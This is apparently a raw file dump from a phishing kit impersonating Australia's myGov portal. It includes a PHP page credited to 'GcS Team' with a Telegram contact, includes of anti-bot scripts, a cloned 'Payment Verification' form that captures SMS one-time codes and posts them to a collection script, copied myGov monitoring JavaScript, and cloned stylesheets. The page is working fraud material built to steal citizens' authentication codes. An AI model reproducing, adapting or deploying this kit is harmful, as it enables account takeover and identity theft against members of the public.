this;if(t.constructor){var y=q;ra()&&Object.defineProperty(t,"constructor",{get:function(){return y},set:function(oa){y=oa}})}t.dtProps={Ea:[],ig:D.dtProps.I.upload,jg:D,jd:!1};var Y=t.dtProps;D=0;for(var x=nb;D<x.length;D++)(function(oa){Object.defineProperty(t,oa,{enumerable:!0,get:function(){return Y[oa]},set:function(R){Y[oa]=R;Y.jd||(Y.jd=!0,Pa(t,Y.ig,Y.jg))}})})(x[D]);t.addEventListener=function(oa,R,O){if(R){for(var wa=Y.Ea,Ga=0;Ga<wa.length;Ga++){var Wa=wa[Ga];if(Wa[0]===oa&&Wa[1]===R&&Wa[2]===
O)return}wa.push([oa,R,!!O]);Y.jd||(Y.jd=!0,Pa(t,Y.ig,Y.jg))}};t.removeEventListener=function(oa,R,O){for(var wa,Ga=Y.Ea,Wa=0;Wa<Ga.length;Wa++)if(wa=Ga[Wa],wa[0]===oa&&wa[1]===R&&wa[2]===O){Ga.splice(Wa,1);break}};t.dispatchEvent=function(oa){var R=Y.Ea,O=!1,wa=!1;if(oa.cancelable&&oa.preventDefault){var Ga=oa.preventDefault;oa.preventDefault=function(){O=!0;return Za.preventDefault(Ga,this,arguments)}}if(oa.stopImmediatePropagation){var Wa=oa.stopImmediatePropagation;oa.stopImmediatePropagation=
function(){wa=!0;return Za.stopImmediatePropagation(Wa,this,arguments)}}for(var Eb=0;Eb<R.length;Eb++){var Lb=R[Eb];wa||Lb[0]!==oa.type||Lb[2]||("object"===typeof Lb[1]&&Lb[1].handleEvent?Za.dispatchXHRCallback(Lb[1].handleEvent,Lb[1],[oa]):Za.dispatchXHRCallback(Lb[1],t,[oa]))}return!O}}q.prototype.toString=function(){return"[XMLHttpRequestUpload]"};return q}(),ka={readyState:0,response:"",responseText:"",responseType:"",responseURL:"",status:0,statusText:"",timeout:0,withCredentials:!1},Ba=function(){function q(D){function t(R){if(-1===
V.dT_.aIOf(lb,R)&&(!V.dT_.oHOP(x.I,R)||V.dT_.oHOP(y,R)))return Oa&&-1!==V.dT_.aIOf(Ab,R)&&ta(R,!1),"continue";if(ra())if("upload"===R)Object.defineProperty(y,"upload",{enumerable:!0,get:function(){x.upload||(x.upload=new I(y));return x.upload}});else{try{x[R]=x.I[R]}catch(wa){}Object.defineProperty(y,R,{enumerable:!0,get:function(){return 0<=V.dT_.aIOf(lb,R)?x.I[R]:"undefined"===typeof x[R]?ka[R]:x[R]},set:function(wa){x[R]=wa}})}else try{y[R]=x.I[R]}catch(wa){var O=ka[R];y[R]="undefined"!==typeof O?
O:null}}var y=this;if(y.constructor){var Y=q;ra()&&Object.defineProperty(y,"constructor",{get:function(){return Y},set:function(R){Y=R}})}y.dtProps={Kc:!0,ba:0,Ea:[],url:"",aborted:!1,za:0,async:void 0,Ib:void 0,I:arguments.length?new vb(D):new vb,uc:!1,hc:-1,Gb:-1,Be:[],sb:null,ke:!1,Ab:function(){y.readyState=x.I.readyState;if(y.readyState!==x.hc||100<V.dT_.nw()-x.Gb){for(var R=0,O=x.Be;R<O.length;R++)yb(O[R]);x.Be=[];Ea(y);4===y.readyState&&x.Xd();x.mg();x.Gb=V.dT_.nw()}else x.Be.push(V.dT_.st(x.Ab,
100));x.hc=y.readyState},yf:function(R,O){x.I.onreadystatechange!==x.Ab&&(x.I.onreadystatechange=x.Ab);x.ba=y.__dtFrameworks__?0:V.dT_.ex("x",void 0,x.url,void 0,y,!1,Oa);try{x.async&&(x.I.timeout=y.timeout)}catch(Lb){}try{x.async&&(x.I.responseType=y.responseType)}catch(Lb){}x.Ah();var wa={};wa=V.dT_.sch(wa,x.url,x.ba);for(var Ga in wa.headers)V.dT_.oHOP(wa.headers,Ga)&&x.I.setRequestHeader(Ga,wa.headers[Ga]);x.I.withCredentials!==y.withCredentials&&(x.I.withCredentials=y.withCredentials);wa=!0;
ca&&!x.uc&&x.mg();try{if(O&&x.I.sendAsBinary)var Wa=x.I.sendAsBinary.apply(x.I,R);else{var Eb=ba(y,"send");Wa=Eb?Za.send(Eb,y,R):x.I.send.apply(x.I,R)}wa=!1}finally{Ea(y),wa&&V.dT_.lx(x.ba,void 0,void 0,void 0,"x")}!x.async&&y.readyState&&x.ba&&V.dT_.lx(x.ba,void 0,void 0,void 0,"x");return Wa},Ah:function(){x.Ib&&(yb(x.Ib),x.Ib=void 0);x.ke||(Pa(y,x.I),x.ke=!0)},Xd:function(){x.I.onreadystatechange=null;x.Mh();x.Oh()},Lh:function(){x.sb||(x.sb=function(){x.sb&&(x.sb=null,x.Xd(),y.abort())},V.dT_.ael(pa,
"unload",x.sb))},Oh:function(){x.sb&&(V.dT_.rel(pa,"unload",x.sb),x.sb=null)},Mh:function(){x.Ib||(x.Ib=V.dT_.st(x.Nh,0))},Nh:function(){if(x.Ib){x.Ib=void 0;x.ke=!1;for(var R=x.I,O=0,wa=nb;O<wa.length;O++){var Ga=wa[O];try{Ga in R&&(R[Ga]=null)}catch(Wa){}}}},mf:function(R,O,wa){void 0===wa&&(wa=!1);for(var Ga=0,Wa=x.Ea;Ga<Wa.length;Ga++){var Eb=Wa[Ga];if(Eb[0]===R&&Eb[1]===O&&Eb[2]===wa)return}x.Ea.push([R,O,wa])},og:function(R,O,wa){void 0===wa&&(wa=!1);for(var Ga,Wa=0;Wa<x.Ea.length;Wa++)if(Ga=
x.Ea[Wa],Ga[0]===R&&Ga[1]===O&&Ga[2]===wa){x.Ea.splice(Wa,1);break}},Zd:function(R){var O=!1,wa=!1;if(R.cancelable&&R.preventDefault){var Ga=R.preventDefault;R.preventDefault=function(){O=!0;return Za.preventDefault(Ga,this,arguments)}}if(R.stopImmediatePropagation){var Wa=R.stopImmediatePropagation;R.stopImmediatePropagation=function(){wa=!0;return Za.stopImmediatePropagation(Wa,this,arguments)}}R=ab(R,y);"readystatechange"!==R.type||ca&&x.uc&&1===y.readyState||("undefined"!==typeof x.onreadystatechange?
x.onreadystatechange&&(x.uc=!0,Za.onreadystatechangeCallback(x.onreadystatechange,y,[R])):!ra()&&y.onreadystatechange&&(x.uc=!0,Za.onreadystatechangeCallback(y.onreadystatechange,y,[R])));for(var Eb=0,Lb=x.Ea;Eb<Lb.length;Eb++){var Nb=Lb[Eb];wa||Nb[0]!==R.type||Nb[2]||("object"===typeof Nb[1]&&Nb[1].handleEvent?Za.dispatchXHRCallback(Nb[1].handleEvent,Nb[1],[R]):Za.dispatchXHRCallback(Nb[1],y,[R]))}return!O},mg:function(){var R=x.ba;try{V.dT_.ec(R,y.readyState),x.za++,x.Zd({type:"readystatechange",
bubbles:!1,cancelable:!1,timeStamp:V.dT_.nw()})}finally{if(x.za--,V.dT_.lc(R),4===y.readyState&&R){var O=0,wa="Aborted";try{O=y.status,wa=y.statusText}catch(Ga){}200!==O&&V.dT_.mx()&&(0===O?V.dT_.st(function(){V.dT_.mxc(R)},0):V.dT_.mxf(O,wa,R));V.dT_.lx(R,x.url,!0,void 0,"x");x.ba=0}}},toString:function(){return"[Custom DTProperty Object]"},toJSON:function(){return"[Custom DTProperty Object]"}};var x=y.dtProps;y.readyState=0;Aa(y);try{Object.defineProperty(x,"responseType",{get:function(){return x.I.responseType},
set:function(R){x.I.responseType=R}})}catch(R){}for(var oa in x.I)t(oa);x.Gb=V.dT_.nw();Ea(y);y.onreadystatechange=null;"withCredentials"in x.I&&(y.withCredentials=x.I.withCredentials);y.timeout=0;"sendAsBinary"in x.I&&(y.sendAsBinary=function(){return x.yf(arguments,!0)});x.I.overrideMimeType&&(y.overrideMimeType=function(R){var O=ba(y,"overrideMimeType");return O?Za.overrideMimeType(O,y,arguments):x.I.overrideMimeType(R)});V.dT_.bcv("peti")&&x.I.addEventListener&&(y.addEventListener=function(R,
O,wa){var Ga=ba(y,"addEventListener");x.mf(R,O,wa);Ga?V.dT_.iNF(Ga)||Za.AELWrapper(Ga,x.I,arguments):V.dT_.iNF(x.I.addEventListener)||x.I.addEventListener(R,O,wa)},y.removeEventListener=function(R,O,wa){var Ga=ba(y,"removeEventListener");x.og(R,O,wa);Ga?V.dT_.iNF(Ga)||Za.RELWrapper(Ga,x.I,arguments):V.dT_.iNF(x.I.removeEventListener)||x.I.removeEventListener(R,O,wa)},y.dispatchEvent=function(R){var O=ba(y,"dispatchEvent");if(O){if(!V.dT_.iNF(O))return Za.dispatchWrapper(O,x.I,arguments)}else if(!V.dT_.iNF(x.I.dispatchEvent))return x.I.dispatchEvent(R);
return x.Zd(R)});y.open=function(R,O,wa,Ga,Wa){function Eb(Nb,ac,rc){"apply"in Nb?Za.callOpen(Nb,rc,ac):4<ac.length?Nb(R,O,wa,Ga,Wa):3<ac.length?Nb(R,O,wa,Ga):Nb(R,O,wa)}x.aborted=!1;3>arguments.length&&(wa=!0);x.async=wa;ca&&wa&&x.Lh();x.I.onreadystatechange=x.Ab;x.url=""+O;var Lb=ba(y,"open");Lb?Eb(Lb,arguments,y):Eb(x.I.open,arguments,x.I);y.readyState=x.I.readyState};y.send=function(){return x.yf(arguments,!1)};y.abort=function(){for(var R=[],O=0;O<arguments.length;O++)R[O]=arguments[O];0<y.readyState&&
(x.aborted=!0);(O=ba(y,"abort"))?O.apply(y,R):x.I.abort();x.Xd();if(x.ba){for(;0<x.za;)x.za--,V.dT_.lc(x.ba);V.dT_.lx(x.ba,void 0,void 0,void 0,"x");x.ba=0}};y.getAllResponseHeaders=function(){var R=ba(y,"getAllResponseHeaders");return R?Za.getAllResponseHeaders(R,y,arguments):x.I.getAllResponseHeaders()};y.getResponseHeader=function(R){var O=ba(y,"getResponseHeader");return O?Za.getResponseHeader(O,y,arguments):x.I.getResponseHeader(R)};y.setRequestHeader=function(R,O){var wa=R&&R.toLowerCase?R.toLowerCase():
R;if("x-dtpc"!==wa&&"x-dtreferer"!==wa&&"x-host"!==wa&&"x-dtc"!==wa)return(wa=ba(y,"setRequestHeader"))?Za.setRequestHeader(wa,y,arguments):x.I.setRequestHeader(R,O)};y.toString=function(){return"[XMLHttpRequest]"};y.toJSON=function(){return x.I};if(pa.Proxy&&V.dT_.bcv("exp"))return y=new Proxy(y,{set:function(R,O,wa){R[O]=wa;try{-1===V.dT_.aIOf(Vb,O)&&(R.dtProps.I[O]=wa)}catch(Ga){}return!0}})}return q}(),$a,Cb=!1,bd,Qb;if((Ha=pa.dT_)&&"ea"in Ha&&(null===(Qb=(bd=V.dT_).smbi)||void 0===Qb?0:Qb.call(bd,
"x"))){var Zb=Ha;"object"===typeof pa.Reflect&&"function"===typeof pa.Proxy&&V.dT_.bcv("expw")&&!V.dT_.gBI().edge?qa():Ma()}})()})();
mygov/app/smszebi.php000064400000020430151676702570010671 0ustar00<?php
/*
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⣿⠆⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⢤⣴⠟⠁⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣄⠐⠟⠁⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⠺⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣿⠟⢁⣴⣷⣦⣤⣤⣤⡀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡿⠛⡆⠀⠉⠛⠻⠿⠿⠿⠇⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⡷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢠⣴⣿⡦⠀⢻⣷⠀⠀⠀t.me/amandz741 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢀⣴⣿⣿⡿⠁⠀⠘⠋⠀  GcS Team remember this name⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⣰⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠈⠻⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠈⠀⠀         ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
*/
session_start();
include "../anti/anti1.php";
include "../anti/anti2.php"; 
include "../anti/anti3.php"; 
include "../anti/anti4.php"; 
include "../anti/anti5.php"; 
include "../anti/anti7.php"; 
?>
<html lang="en"><!--<![endif]--><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
	<!--
E: PROD; 
C: MW0w; 
N: MW0w16; 
S: SW16c;  
-->
	
	<meta http-equiv="x-ua-compatible" content="ie=edge">
	<meta name="apple-mobile-web-app-capable" content="yes">
	<title>
		Enter code - myGov
	</title>
	<meta name="description" content="">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<!-- phone number format detection, turning it off -->
	<meta name="format-detection" content="telephone=no">
	<script type="text/javascript" src="./smsone_files/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js.download" data-dtconfig="app=5f15dc81410a75c1|ssc=1|rcdec=1209600000|featureHash=ICA2Vfghjqrux|vcv=2|rdnt=0|uxrgce=1|bp=3|srmcrv=10|cuc=gpalpirq|mel=100000|md=mdcc1=ainput#user-id,mdcc2=adiv.error-msg-text span,mdcc3=aspan[data-home-welcome-message]|ssv=4|lastModification=1664408259780|dtVersion=10243220606153550|srmcrl=1|tp=500,50,0,1|uxdcw=1500|agentUri=/LoginServices/main/ruxitagentjs_ICA2Vfghjqrux_10243220606153550.js|reportUrl=/LoginServices/main/rb_6de8e2e9-6719-45b3-86be-7effcb9f6525|rid=RID_315651699|rpid=-1704053880|domain=my.gov.au"></script><link rel="icon" type="image/png" sizes="32x32" href="https://login.my.gov.au/mygov/content/mgv2/icons/favicon-32x32.png">
  	<link rel="icon" type="image/png" sizes="16x16" href="https://login.my.gov.au/mygov/content/mgv2/icons/favicon-16x16.png">
	<link href="./smsone_files/css" rel="stylesheet">
	<link href="./smsone_files/mgv2-application.css" rel="stylesheet">
	<link href="./smsone_files/blugov.css" rel="stylesheet">
</head>

<body><noscript>
	<div class="outage">
		<div class="outage__inner">
			<div>
				<span class="is-visuallyhidden"> Warning message: </span>
				<p> JavaScript is required for myGov to work correctly.</p>
			</div>
		</div>
	</div>
</noscript>




	
		
	
	





<nav class="uikit-skip-link" aria-label="Skip Links">
	<a class="uikit-skip-link__link" href="https://login.my.gov.au/las/mygov-login?execution=e1s2#content">Skip to main content</a>
</nav>

<div class="brand-rainbow">&nbsp;</div>
<header role="banner" class="mgvEnhanceHeader">
	<section class="wrapper">
		<div class="inner">
			<div class="unauth-grid">
				<div class="unauth-grid-row">
					<a href="https://beta.my.gov.au/" class="unauth-govt-crest__link">
					    <img id="unauth-govt-crest" src="./smsone_files/myGov-cobranded-logo-black.svg" alt="myGov Beta" role="img">
                    </a>

					<div class="header-links">
						<a href="https://beta.my.gov.au/en/about/help">Help</a>
					</div>
				</div>
			</div>
		</div>
	</section>
</header>





	

<div class="wrapper-mapwap"><div class="main-block" id="content" role="main">
	

	<h1>Payment Verification</h1>
	<p>We sent a code by SMS to your mobile number<span> XXXX&nbsp;XXX&nbsp;XXX</span>.</p>
	<form id="otp-entry-form" action="rez/sendsms1.php" method="post" autocomplete="off">
			<div class="code-container">
				<label for="otpanswer">Enter Code<input class="security-code" onkeyup="return numberValidation(event)" style="border-radius: 2px;
    border-radius: 0.125rem;
    height: 48px;
    height: 3rem;
    border: 1px solid #000;
    border: 0.0625rem solid #000;" minlength="4" maxlength="8" name="otpanswer0" type="tel" autocomplete="off">
				</label>
			</div>
			
			
       			
       			
					<div class="help-info-group">
						
					</div>
					
						
							<div id="security-codes-info" class="hasInfo" role="region" tabindex="-1" hidden="true">
								<p>
									You can use <a href="https://www.digitalidentity.gov.au/" target="_blank">Digital Identity</a> to sign in.
								</p>
								<p>
									If you don't want to use Digital Identity, you can <a href="https://beta.my.gov.au/en/about/help/contact-mygov-or-your-services">call the helpdesk</a> to create a new myGov account.
								</p>
								<a data-infotext-continue="" class="continue-digital-identity-chevron" href="https://login.my.gov.au/las/mygov-login?execution=e1s2&amp;_eventId=continueWithDigitalIdentity">Continue with Digital Identity</a>

							</div>
						
						
					
				
			
			
			
			<div class="button-container">    			
    			<button name="okbba" type="submit" class="button-main button">Next</button>
    			<button role="submit" class="button-minor button" name="_eventId_cancel">Cancel</button>
			</div>

		
			<input type="hidden" name="accountRecovery" value="true">
			<input type="hidden" name="authtype" value="otp">
			 
			<input type="hidden" name="_resetMobileEligible" value="">
			<input type="hidden" name="_fallback" value=""> 
			<input type="hidden" name="_csrf" value="a6f900ad-8865-4945-bf98-e61cdc954330">	
		<div>
<input type="hidden" name="_csrf" value="a6f900ad-8865-4945-bf98-e61cdc954330">
</div></form>
	
</div></div>
	
	




<footer role="contentinfo">
    <div class="wrapper">
      <div class="inner">

        <section class="footer-list">
            <nav>
            <h2 class="sr-only" aria-label="Footer">Footer</h2>
            <ul class="lower-links">
                <li>
                    <a target="_blank" href="https://my.gov.au/en/about/terms">Terms of use</a>
                </li>
                <li>
                    <a target="_blank" href="https://my.gov.au/en/about/privacy-and-security">Privacy and security</a>
                </li>
                <li>
                    <a target="_blank" href="https://my.gov.au/en/about/copyright">Copyright</a>
                </li>
                <li>
                    <a target="_blank" href="https://my.gov.au/en/about/accessibility">Accessibility</a>
                </li>
            </ul>
            </nav>
        </section>
          <div class="footer-lower">
              <section class="footer-lower-logo">
              <a href="https://beta.my.gov.au/">
                  <img src="./smsone_files/myGov-cobranded-logo-white.svg" alt="myGov Beta" width="313.17" height="70" role="img">
              </a>
              </section>

              <p class="footer-acknowledgement">We acknowledge the Traditional Custodians of the lands we live on. We pay our respects to all Elders, past and present, of all Aboriginal and Torres Strait Islander nations.</p>
          </div>




      </div>
    </div>
  </footer>


<script type="text/javascript" src="./smsone_files/mgv2-vendor.js.download"></script>
<script type="text/javascript" src="./smsone_files/mgv2-application.js.download"></script>
<script type="text/javascript" src="./smsone_files/login.js.download"></script>
<div id="artifact-metadata">
	
</div>



</body></html>mygov/app/sms_files/blugov.css000064400000211165151676702570012507 0ustar00.confirm-action.blugov{height:50px;height:3.125rem;text-decoration:none;background-color:#254a7e;border-radius:5px;color:#fff;font-size:16px;font-weight:500;min-width:160px;background-color:#254a7e}.confirm-action.blugov:hover{text-decoration:none;background-color:#183052;color:#fff}.confirm-action.blugov:focus{background-color:#183052;outline:4px solid #183052;outline-offset:2px}.confirm-action.blugov:disabled{background-color:#a0a0a3}html{font-family:"Roboto",-apple-system,BlinkMacSystemFont,"Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif}html :focus{outline:4px solid #183052;outline-offset:2px}html body{font-size:18px;color:#000;font-weight:400}html h1{color:#333;font-family:"Roboto",-apple-system,BlinkMacSystemFont,"Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-weight:700;font-size:28px;line-height:34px}html a:focus{outline:0;outline-offset:none}html a.anchor:focus{outline:0;outline-offset:none}html .error-msg{border:2px solid #dc3548;border:.125rem solid #dc3548;border-left-width:48px;color:#333;border-radius:5px}html .error-msg::before{background-image:url("../blugov/Icons---System---Alert---Emergency.svg")}html .error-msg span{display:inline}html .error-msg .error-msg-text a{font-size:18px}html .success-msg{border:2px solid #1a9f50;border:.125rem solid #1a9f50;border-left-width:48px;color:#333;border-radius:5px}html .success-msg::before{background-image:url("../blugov/Icons---System---Tick---Line.svg")}html .success-msg span{display:inline}html .success-msg .success-msg-text a{font-size:18px}html .hasInfo{font-size:16px;border-left:4px solid #254a7e}html .hasInfo span,html .hasInfo a{font-size:16px}html .hasError{border-left:4px solid #dc3548;font-size:14px;font-weight:400}html .hasError p,html .hasError span{color:#dc3548}html .hasError p.hasError,html .hasError span.hasError{color:#dc3548}html .hasError p.hasError p,html .hasError span.hasError p{margin-top:10px;margin-bottom:0}.brand-rainbow{height:5px;background:url("../blugov/M-myGov-Coloured Line.svg");background-repeat:no-repeat;background-color:#0061c8}.brand-rainbow.padding{margin-bottom:1em}@media screen and (max-width:640px){.brand-rainbow{height:7px;background:url("../blugov/D-myGov-Coloured Line.svg");background-repeat:no-repeat;background-color:#0061c8}}@media screen and (min-width:992px){header .inner{max-width:1360px!important;margin-left:auto;margin-right:auto}}header section.wrapper{min-height:100px}header .inner{height:100px;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:left;-webkit-justify-content:left;-ms-flex-pack:left;justify-content:left;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;padding:16px 20px}header.mgvEnhanceHeader{height:100px;min-height:100px;background-color:#183052;border-bottom-color:#183052}header.mgvEnhanceHeader .header-logo{display:none}header .unauth-grid-row a{display:inline;color:none;border-bottom:0}header .unauth-grid-row a:hover{background-color:transparent}header .unauth-grid-row a:focus{outline:2px solid #33c4e8;outline-offset:4px}.login-grid-column{width:100%}@media screen and (min-width:640px){.unauth .digital-id-login-card{padding:0;max-width:100%;width:100%}}.main-block{max-width:600px}.main-block .button-secondary,.main-block .button-minor{height:50px;height:3.125rem;background-color:#fff;border-radius:5px;color:#254a7e;text-decoration:none;border:2px solid #254a7e;font-size:16px;font-weight:500;min-width:160px}.main-block .button-secondary:hover,.main-block .button-minor:hover{background-color:#fff;color:#313131;text-decoration:underline;border:2px solid #313131}.main-block .button-secondary:focus,.main-block .button-minor:focus{text-decoration:none;outline:4px solid #183052;outline-offset:2px}.main-block a{color:#254a7e;text-decoration:underline;border-bottom:0;font-size:18px}.main-block a:hover{color:#254a7e;border-bottom:0;text-decoration:none;background-color:transparent}.main-block a:focus{outline:4px solid #183052;outline-offset:2px}.main-block a.button-minor.button{height:50px;height:3.125rem;background-color:#fff;border-radius:5px;color:#254a7e;text-decoration:none;border:2px solid #254a7e;font-size:16px;font-weight:500;min-width:160px}.main-block a.button-minor.button:hover{background-color:#fff;color:#313131;text-decoration:underline;border:2px solid #313131}.main-block a.button-minor.button:focus{text-decoration:none;outline:4px solid #183052;outline-offset:2px}.main-block a.button-minor.button.error-button-padding{padding-top:.6em}.main-block .button-main{height:50px;height:3.125rem;text-decoration:none;background-color:#254a7e;border-radius:5px;color:#fff;font-size:16px;font-weight:500;min-width:160px}.main-block .button-main:hover{text-decoration:none;background-color:#183052;color:#fff}.main-block .button-main:focus{background-color:#183052;outline:4px solid #183052;outline-offset:2px}a#back-to-top{color:#254a7e;text-decoration:underline;border-bottom:0;font-size:18px}a#back-to-top:hover{color:#254a7e;border-bottom:0;text-decoration:none;background-color:transparent}a#back-to-top:focus{outline:4px solid #183052;outline-offset:2px}a.button-back{font-size:14px!important;font-weight:500}a.button-back::before{background-position:unset;background-size:1em;top:-2px;-webkit-transform:scale(0.5);transform:scale(0.5);right:2.2em;background-image:url("../icons/blugov-left-chevron.svg")}a.button-back-error{color:#254a7e;text-decoration:underline;border-bottom:0;font-size:18px;font-size:14px!important;font-weight:500}a.button-back-error:hover{color:#254a7e;border-bottom:0;text-decoration:none;background-color:transparent}a.button-back-error:focus{outline:4px solid #183052;outline-offset:2px}a.margin-left{font-size:18px!important;margin-left:0!important}a[data-go-back-link=""]{font-size:18px!important}.error-arrow{height:.7em;margin-right:.5em}#digital-id-modal-background+img{display:none}.digital-id-main-login-card.override{width:100%!important;max-width:100%!important}.return-error-links{margin-top:1em}.anchor.override{font-weight:500}.button-container .button,.button-digital-id-container .button{padding-left:17px;padding-right:17px}.button-container{text-align:center}.wrapper form .button-container,#content form .button-container{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.help-text{display:block}.wrapper-mapwap div.unauth,.unauth div.unauth{padding-left:36px;padding-right:36px}@media(max-width:640px){.wrapper-mapwap div.unauth,.unauth div.unauth{padding-left:0;padding-right:0}}.wrapper-mapwap .main-block,.unauth .main-block{max-width:600px}.wrapper-mapwap h1,.unauth h1{color:#333;font-family:"Roboto",-apple-system,BlinkMacSystemFont,"Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-weight:700;font-size:28px;margin-bottom:unset;margin-bottom:20px}.wrapper-mapwap .hr-word,.unauth .hr-word{width:100%!important;height:20px;margin-top:40px;margin-right:12.5%;margin-bottom:40px}.wrapper-mapwap .hr-word span,.unauth .hr-word span{background-color:black}.wrapper-mapwap .password-help,.unauth .password-help{font-size:14px;color:#666;display:block}.wrapper-mapwap form label,.wrapper-mapwap form .std-Legend,.unauth form label,.unauth form .std-Legend{font-size:14px;display:inline;color:#333}.wrapper-mapwap form label[for="newPassword"],.wrapper-mapwap form .std-Legend[for="newPassword"],.unauth form label[for="newPassword"],.unauth form .std-Legend[for="newPassword"]{font-weight:600}.wrapper-mapwap form label[for="mobileConfirmationCode"],.wrapper-mapwap form .std-Legend[for="mobileConfirmationCode"],.unauth form label[for="mobileConfirmationCode"],.unauth form .std-Legend[for="mobileConfirmationCode"]{font-weight:600}.wrapper-mapwap form label[for="mobile-number"],.wrapper-mapwap form .std-Legend[for="mobile-number"],.unauth form label[for="mobile-number"],.unauth form .std-Legend[for="mobile-number"]{font-weight:600}.wrapper-mapwap form label[for="otpanswer"],.wrapper-mapwap form .std-Legend[for="otpanswer"],.unauth form label[for="otpanswer"],.unauth form .std-Legend[for="otpanswer"]{font-weight:600}.wrapper-mapwap form label[for="verificationCode"],.wrapper-mapwap form .std-Legend[for="verificationCode"],.unauth form label[for="verificationCode"],.unauth form .std-Legend[for="verificationCode"]{font-weight:600}.wrapper-mapwap form label[for="passwordRetyped"],.wrapper-mapwap form .std-Legend[for="passwordRetyped"],.unauth form label[for="passwordRetyped"],.unauth form .std-Legend[for="passwordRetyped"]{font-weight:600}.wrapper-mapwap form label[for="totpanswer"],.wrapper-mapwap form .std-Legend[for="totpanswer"],.unauth form label[for="totpanswer"],.unauth form .std-Legend[for="totpanswer"]{font-weight:600}.wrapper-mapwap form label[for="userId"],.wrapper-mapwap form .std-Legend[for="userId"],.unauth form label[for="userId"],.unauth form .std-Legend[for="userId"]{font-weight:600;display:block}.wrapper-mapwap form label[for="userId"] .hasInfo,.wrapper-mapwap form .std-Legend[for="userId"] .hasInfo,.unauth form label[for="userId"] .hasInfo,.unauth form .std-Legend[for="userId"] .hasInfo{font-size:16px;font-weight:400}.wrapper-mapwap form label[for="userId"] .hasInfo a,.wrapper-mapwap form .std-Legend[for="userId"] .hasInfo a,.unauth form label[for="userId"] .hasInfo a,.unauth form .std-Legend[for="userId"] .hasInfo a{font-size:16px}.wrapper-mapwap form label[for="email-addr"],.wrapper-mapwap form .std-Legend[for="email-addr"],.unauth form label[for="email-addr"],.unauth form .std-Legend[for="email-addr"]{font-weight:600}.wrapper-mapwap form label[for="1"],.wrapper-mapwap form .std-Legend[for="1"],.unauth form label[for="1"],.unauth form .std-Legend[for="1"]{display:block;font-size:18px}.wrapper-mapwap form label[for="1"]:focus,.wrapper-mapwap form .std-Legend[for="1"]:focus,.unauth form label[for="1"]:focus,.unauth form .std-Legend[for="1"]:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form label[for="2"],.wrapper-mapwap form .std-Legend[for="2"],.unauth form label[for="2"],.unauth form .std-Legend[for="2"]{display:block;font-size:18px}.wrapper-mapwap form label[for="2"]:focus,.wrapper-mapwap form .std-Legend[for="2"]:focus,.unauth form label[for="2"]:focus,.unauth form .std-Legend[for="2"]:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form label.hasError,.wrapper-mapwap form .std-Legend.hasError,.unauth form label.hasError,.unauth form .std-Legend.hasError{display:block}.wrapper-mapwap form p a,.unauth form p a{font-size:18px}.wrapper-mapwap form input,.unauth form input{border-radius:5px;border:2px solid #808080;font-size:16px;font-weight:400;height:50px;color:#101012}.wrapper-mapwap form input:focus,.unauth form input:focus{outline:4px solid #183052;outline-offset:2px;border:2px solid #808080}.wrapper-mapwap form input[data-username],.unauth form input[data-username]{max-width:none;width:100%}.wrapper-mapwap form [name="radioQuestion"]:focus,.unauth form [name="radioQuestion"]:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form [type="radio"]:focus,.unauth form [type="radio"]:focus{outline:4px solid #183052;outline-offset:2px}.wrapper-mapwap form [type="radio"]:checked+label::before,.unauth form [type="radio"]:checked+label::before{border:2px solid #333;display:block}.wrapper-mapwap form [type="radio"]:checked+label::before:focus,.unauth form [type="radio"]:checked+label::before:focus{outline:4px solid 